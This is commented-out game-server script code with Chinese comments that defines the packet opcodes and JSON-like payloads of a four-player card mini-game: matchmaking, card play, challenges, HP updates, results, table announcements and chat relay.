// //收到查询我的战绩包 查询我的战绩 注意这个包不止我请求的时候要发 一局游戏结束了以后 你要主动刷这个包
// ClientSocketPackFuncMap.rawset(20092097, function(SUser, Jso) {
// local evv = {
// op = 20092098,
// WinCount = 1, //胜利场次
// Ranking = 2, //排名
// OnlineRanking = 56, //跨服排名
// TicketCount = 3, //入场卷数量
// }
// SUser.SendJso(evv);
// });
// //收到开始匹配包 服务端进入匹配状态 告诉客户端开始匹配了
// ClientSocketPackFuncMap.rawset(20092001, function(SUser, Jso) {
// local evv = {
// op = 20092002,
// }
// SUser.SendJso(evv);
// //这里添加的是定时任务 两秒后默认开局 在你那边你应该是正常匹配 然后开局了给客户端发消息
// Timer.SetTimeOut(function() {
// //角色类 名字 职业 穿戴装备
// local Charac = {
// Name = "测试角色",
// Job = 8,
// Equ = [26373, 107550220, 107560223, 107570188, 107520224, 107500233, 107510231, 107540209, 107580129, 107530192],
// CardList = [0, 1, 2, 3, 1]
// }
// //这里发送角色类List 0号位是自己 然后顺时针坐玩家 发送主牌ID
// local evv = {
// op = 20092006,
// CharacList = [Charac, Charac, Charac, Charac],
// MainCard = 2
// }
// SUser.SendJso(evv);
// }, 500);
// });
// //收到取消匹配包 服务端进入匹配状态 告诉客户端取消匹配了
// ClientSocketPackFuncMap.rawset(20092003, function(SUser, Jso) {
// local evv = {
// op = 20092004,
// }
// SUser.SendJso(evv);
// });
// //收到出牌包
// ClientSocketPackFuncMap.rawset(20092007, function(SUser, Jso) {
// //这里CardList 是玩家打出了它手上的第几张牌 而不是牌的ID List
// local CardList = Jso.CardList;
// //..... 这里需要对牌做校验 是不是相同的牌 或者万能牌
// //如果校验通过了 发送出牌回调包给客户端告诉他出牌成功 这里要告诉所有的牌桌上的玩家 如果是出牌人则发0 CharacId 其他人 要发他们那里对应的ID
// local evv = {
// op = 20092008,
// CharacId = 1,
// CardList = CardList
// };
// SUser.SendJso(evv);
// });
// //主动下发 回合信息包 20092010 要告诉客户端的玩家 现在是谁的回合 回合剩余时间多少秒 注意每个客户端的玩家你要发送不同的位置信息给他的
// local evv = {
// //谁的回合
// RoundCharac = 0;
// //剩余多少时间 (这个应该是在你的配置里)
// RoundTime = 30;
// };
// //主动下发 质疑包 20092012 要告诉客户端的玩家 谁要质疑 注意每个客户端的玩家你要发送不同的位置信息给他的 质疑翻牌信息
// local evv = {
// //质疑玩家
// QuestionCharac = 0;
// //质疑牌List (注意这里发的不是牌的位置了 是牌对应的ID 一开始分配的那个)
// QuestionCardList = [0, 1, 2, 3, 1];
// };
// //主动下发 刷新玩家信息包 20092014 要告诉客户端的玩家 谁还剩多少血 0就是没血了 -1就是这个地方是没有玩家的 1就是还剩1滴血
// local evv = {
// Charac = [0, -1, 1, -1]
// };
// //主动下发 结算包 20092018 一局游戏结束了 发包给我
// local evv = {
// //0 是你输了 1是你赢了
// Win = 0
// };
// //主动下发 牌桌显示公告 20092016 这个公告文字我会显示在牌桌上的 是你一些重要信息 比如谁打出了什么牌 质疑什么的之类的
// local evv = {
// //消息
// Msg = "公告消息"
// };
// //收到聊天信息包
// ClientSocketPackFuncMap.rawset(20092099, function(SUser, Jso) {
// //这里是左下角聊天框打字发送上来的信息
// local MsgBuffer = Jso.Msg;
// //转发给所有玩家 包括他自己
// local evv = {
// op = 20092100,
// Msg = MsgBuffer,
// };
// SUser.SendJso(evv);
// });